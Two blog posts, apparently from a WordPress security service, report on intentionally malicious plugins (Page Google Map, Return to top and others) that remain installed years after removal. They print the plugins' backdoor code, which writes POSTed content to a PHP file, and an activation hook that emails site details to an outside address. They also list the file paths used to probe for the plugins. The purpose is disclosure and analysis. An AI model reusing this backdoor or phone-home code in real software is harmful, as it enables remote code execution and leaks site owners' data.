20 Dec

Hundreds of Websites Still Using Intentionally Malicious WordPress Plugins Three Years After Being Removed From Plugin Directory

Recently the WordPress Plugin Directory was changed so that the pages for plugins that have been closed remain visible (previously they were removed). One of the impacts, for better and worse, is that you can see how many websites are still using those plugins. Last week we discussed how one plugin that was removed over a year ago due to a security issue that was being exploited, was still being used on fairly significant number of the websites that used it before that occurred. We went to look into that after we saw what looked to be a hacker probing for the usage of the plugin again.

This week we saw what looked like it might be someone probing for the usage three plugins (the requests came from different IP addresses, but occurred within seconds of each other). We will be discussing the two others in upcoming posts. But first we thought it would be worth separately discussing the other, as it is a bit different since the other two plugins contained vulnerabilities, while this one was intentionally malicious. The plugin was named Page Google Map (or just Google Map) and the request we saw was for the file /wp-content/plugins/page-google-maps/pr.php.

That plugin was part of a set of plugins we saw someone probing for back in October of last year. As we discussed in more detail then, the person or persons behind those had copied legitimate plugins and resubmitted them to the Plugin Directory and then added malicious code to them. In the case of this plugin, it was copied from version 1 of the plugin Simplified Google Maps Light.

At some point it looks like the Plugin Directory realized what was going on and removed those plugins. This plugin was in the directory at least through March 25, 2014, but was gone by September 1st of that year. People using the plugins were not warned about the true nature of the plugins and we couldn’t find any indication that there was any public mention of the issue with most of the plugins at the time. That doesn’t seem to have hidden the issue from other malicious actors, though.

The person(s) behind those plugins shouldn’t have needed to probe for usage of the plugins, as part of the malicious code emailed them when the plugins were activated and deactivated. Here is that code in this plugin:

register_activation_hook( __FILE__,'mapsgtreplugin_activate');
register_deactivation_hook( __FILE__,'mapsgtreplugin_deactivate');
function mapsgtreplugin_activate() { 
$yourip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/welcomenote.txt';
fwrite($fp, $yourip);
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Activated" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);
add_option('gmapsgoogleswpred_do_activation_redirect', true);
/** Uninstall it */
function mapsgtreplugin_deactivate() { 
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Uninstalled" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);

Based on that and that we have seen probing for as little as one of this plugins, it seems that others realized that these vulnerabilities existed and then went to see about exploiting them.

The other malicious code allowed remote code execution and in this plugin that was contained in the file /pr.php, which was what was being probed for on our website.

According to wordpress.org there are currently still 500+ active installations of the plugin:

That indicates that there are between 500 and 599 website still using the plugin.

For this plugin the first version, 1.3, didn’t contain the file hacker probing for or the other malicious code, so some websites still using it might not be vulnerable.

The restoration of the pages of closed plugins also makes it to see other things about these plugins, in the case of the plugin we noticed that a couple of the reviews of the pluign were from people saying that they had tried multiple map plugins and this one was the best, which is interesting considering that it is simply a copy of another map plugin in the Plugin Directory.

Avoiding Using Vulnerable Plugins

There are a couple of obvious things that people on the WordPress side of things could do to help with unfixed vulnerable plugins whether due to intentional malicious code like this one or not. The first would be for WordPress to notifying people using a plugin with a known vulnerability that it has a known vulnerability. Another one would be for WordPress to release a fixed version, something that they currently only do in rare occasions and when it came to the plugin we discussed last week they didn’t even want to have a discussion about doing (we would be happy to help with them with fixing those vulnerabilities). Better handling unfixed vulnerabilities isn’t being helped by the fact that WordPress founder Matt Mullenweg claims that the issue is “hypothetical”.

Another solution here is for people to be using our service’s companion plugin, as the free data that comes with that warns about plugins that hackers are targeting, so anyone using our plugin and this one would have been warned about it since October of last year.

Our plugin is often the only free source of vulnerability information that warns about exploited vulnerabilities, despite it being possible for others to look at the data included in that and the information on our website. With this plugin, despite our public disclosure over a year ago, it isn’t listed in other free data sources we are aware of.

If you are thinking that avoiding plugins that have been removed from the Plugin Directory would protect you from unfixed vulnerabilities, that used to be the case, but these days it isn’t because we were about the only ones making sure that vulnerable plugins were getting removed and since we suspended doing that due to WordPress continued poor handling of security, no one else has taken over doing that. That currently means that plugins with millions of active installations contain known vulnerabilities in the latest version. If you were using our service you would be warned if you were using those as well having us available to help you in taking action to protect yourself (we often can provide a workaround until the developer fixes the vulnerability or until you can move off of the plugin).

24 Oct

A Good Example of Why WordPress Keeping Quiet About Unfixed Plugin Vulnerabilities Doesn’t Make Sense

We think that WordPress does a pretty good job when it comes to security, but there is a glaring problem we have run across, the handling of unfixed vulnerabilities in WordPress plugins. When a vulnerability in a plugin is reported to the Plugin Directory, unless it is very minor, the plugin is pulled pending a fix. That prevents anyone who isn’t already using the plugin from installing it and making themselves vulnerable, but for everyone that already has it installed they will remain vulnerable until the vulnerability is fixed. A lot of times that happens fairly quickly after the plugin is removed, but in other cases it takes a long time or never happens. For that reason we first suggested that websites that have removed plugins installed should alert over four and half years ago. At the time we proposed this on the Ideas section of wordpress.org and shortly there after it was indicated this was being worked on. By earlier this year it was indicated that they cannot provide this, not for some technical reason, but because “IF an exploit exists and we publicize that fact without a patch, we put you MORE at risk.”. We previously discussed that this really doesn’t make sense and we just ran in to another example that we think provides further evidence why this is bad stance.

Part of the explanation for their thinking that this would put websites at more risk is this:

That’s exactly the issue. If we make it known there is an exploit, the hackers attack everyone :/

If we don’t tell anyone, then hackers who DO know will attack, but they would have anyway.

But as what we found while looking into a set of vulnerable plugins, other malicious actors can find out about vulnerabilities and then try to exploit them even without them doing that.

One of the ways we keep track of vulnerabilities in WordPress plugins is to monitor third-party data on hacking attempts. Through that we recently ran across a probe in August of last year for usage of a series of 14 plugins through request for the following files (the name of the plugin it is part of is in parenthesis):

  • /wp-content/plugins/return-to-top/wds-files/js/admin.js (Return to top)
  • /wp-content/plugins/page-google-maps/js/vihv-google-maps.js (Page Google Map)
  • /wp-content/plugins/gallery-slider/assets/js/jquery.gallery.js (Gallery Slider)
  • /wp-content/plugins/g-translate/jquery.js (G Translate)
  • /wp-content/plugins/share-buttons-wp/css/style.css (Share Buttons WP)
  • /wp-content/plugins/mailchimp-integration/readme.txt (MailChimp Integration)
  • /wp-content/plugins/smart-videos/js/video.js (Smart Videos)
  • /wp-content/plugins/seo-rotator-for-images/js/wp-seo-admin-global.js (SEO Rotator For Images)
  • /wp-content/plugins/ads-widget/readme.txt (Ads widget)
  • /wp-content/plugins/seo-keyword-page/js/pager.js (SEO Keyword Page)
  • /wp-content/plugins/wp-handy-lightbox/jquery.touchwipe.min.js (Handy Lightbox)
  • /wp-content/plugins/wp-popup/wppopupincludes/js/wppopup.js (WP Popup)
  • /wp-content/plugins/google-analytics-analyze/google-analytics.js (Google Analytics Analyze)
  • /wp-content/plugins/cookie-eu/readme.txt (Cookie Eu)

In taking a look at the first plugin Return to top, we found that it was no longer in the Plugin Directory and we couldn’t find any indication that a vulnerability in the plugin had been disclosed. Then while trying to figure out what hacker might be looking to exploit in this, we quickly noticed the file call.php, which contained the following code:

$installtheplugin = $_POST['installplugin'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/return-to-top/install.php', 'w');
$installtheplugin = str_replace('\\', '', $installtheplugin);
$installtheplugin = htmlentities($installtheplugin);
fwrite($fp, html_entity_decode($installtheplugin));
echo $installtheplugin;
unlink($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/return-to-top/call.html');

That code would take a user specified value and write it in to the file /wp-content/plugins/return-to-top/install.php. Since that file has a .php extension that would permit running PHP code, which is a remote code execution vulnerability. The code didn’t really look like it had a legitimate purpose, possibly indicating that the code was intentionally malicious.

The second plugin listed, Page Google Map, created by a different account had nearly the same code in a file name pr.php:

$installtheplugin = $_POST['checkpr'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/prcheck.php', 'w');
$installtheplugin = str_replace('\\', '', $installtheplugin);
$installtheplugin = htmlentities($installtheplugin);
fwrite($fp, html_entity_decode($installtheplugin));
echo $installtheplugin;

Going through some more of the plugins, we found that the developers were also different but the same code existed. We then went looking to see if we could find any reference to the code, to look if there was a possibility that the developers had all gotten the code from the same source and not understood the security issue in it.

We could only find one reference to it and that a post from January of 2014 discussing security issues in one of the plugins, Handy Lightbox. In addition to the remote code execution issue, the plugin also was “e-mailing the developer to confirm plugin activation and reporting site url.” and emailing if it was deactivated. From that we found another post that pointed to what the malicious code had been used for:

 It would log the IP of the admins. When you went to the site, it would check to see if you where an admin with your ip, then if you where not it would add a spam link on all pages.

From the comments in the first post it sounds like the Handy Lightbox was removed from the Plugin Directory in February of 2014.

Based on on all off that looks like is that you had someone that had created multiple intentionally malicious plugins (the legitimate parts of the plugins was copied from an existing plugin). Since the original person behind this was being emailed what websites the plugins were activated on they would have not needed to probe for usage of the plugins, as we saw happening. So it would seem that someone else became aware of not only of the Handy Lightbox plugin, but the other plugins that had been created and was trying to exploit them (we looked to see if several others had been been publicly disclosed as containing this code, but couldn’t find any evidence of that).

Seeing as the developer of the plugins had malicious intentions, they wouldn’t have released new versions of the plugins that fixed the vulnerabilities, so unless the Plugin Directory stepped in and did that, then the plugins would never be fixed. In that case the only way to protect the websites would be for the plugins to be removed, but since webmasters are being kept in the dark they wouldn’t know to do that. Not surprisingly a quick search showed that there are in fact website that still have these plugins installed. The probing for existence of the plugins indicates that not notifying people that they were vulnerable did not stop other malicious actors from finding out about of these vulnerabilities.

An easy way to check if you have any of these plugins installed on websites you manage is to install our Plugin Vulnerabilities plugin. For plugins that we see exploitation attempts against we include data on the related vulnerabilities with the plugin, so even if you are not yet using the service you get warned about these vulnerabilities. Since these plugins are being targeted, as can be seen by the probing, we are adding the remote code execution vulnerability in them to the data alongside releasing this post.